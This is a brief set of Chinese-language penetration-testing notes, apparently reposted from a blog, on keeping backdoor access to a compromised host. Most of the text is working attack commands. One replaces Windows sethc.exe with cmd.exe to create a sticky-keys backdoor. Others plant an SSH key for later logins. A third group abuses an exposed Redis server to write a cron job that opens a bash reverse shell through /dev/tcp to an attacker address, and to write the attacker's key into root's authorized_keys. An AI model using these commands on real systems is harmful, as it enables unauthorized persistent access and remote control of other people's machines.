后门维持

密码破解

shift后门

shift控制

Windows c:/system32/sethc.exe

换成cmd.exe

追加自己的公钥

ssh-keygen 生成公钥ssh-keygen -t rsa

cat    ~/.ssh/id_rsa.pub 获取自己的公钥

 

 连接的时候可以指定私钥来连接

ssh root@192.168.11.102  -i  .ssh/id_rsa

-i指定私钥地方 默认.ssh/id_rsa

redis添加计划任务

./redis-cli -h 192.168.xx.xx -p xxx

set x " */1 * * * * bash-i &> /dev/tcp/192.168xx/xxx ) 0>&1 "

config set dir /var/spool/cron

config set dbfilename root

Save

 

Redis 反弹shell和写私钥

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "  [ssh-公钥]  "
save 

原文地址:https://www.cnblogs.com/pass-A/p/11134040.html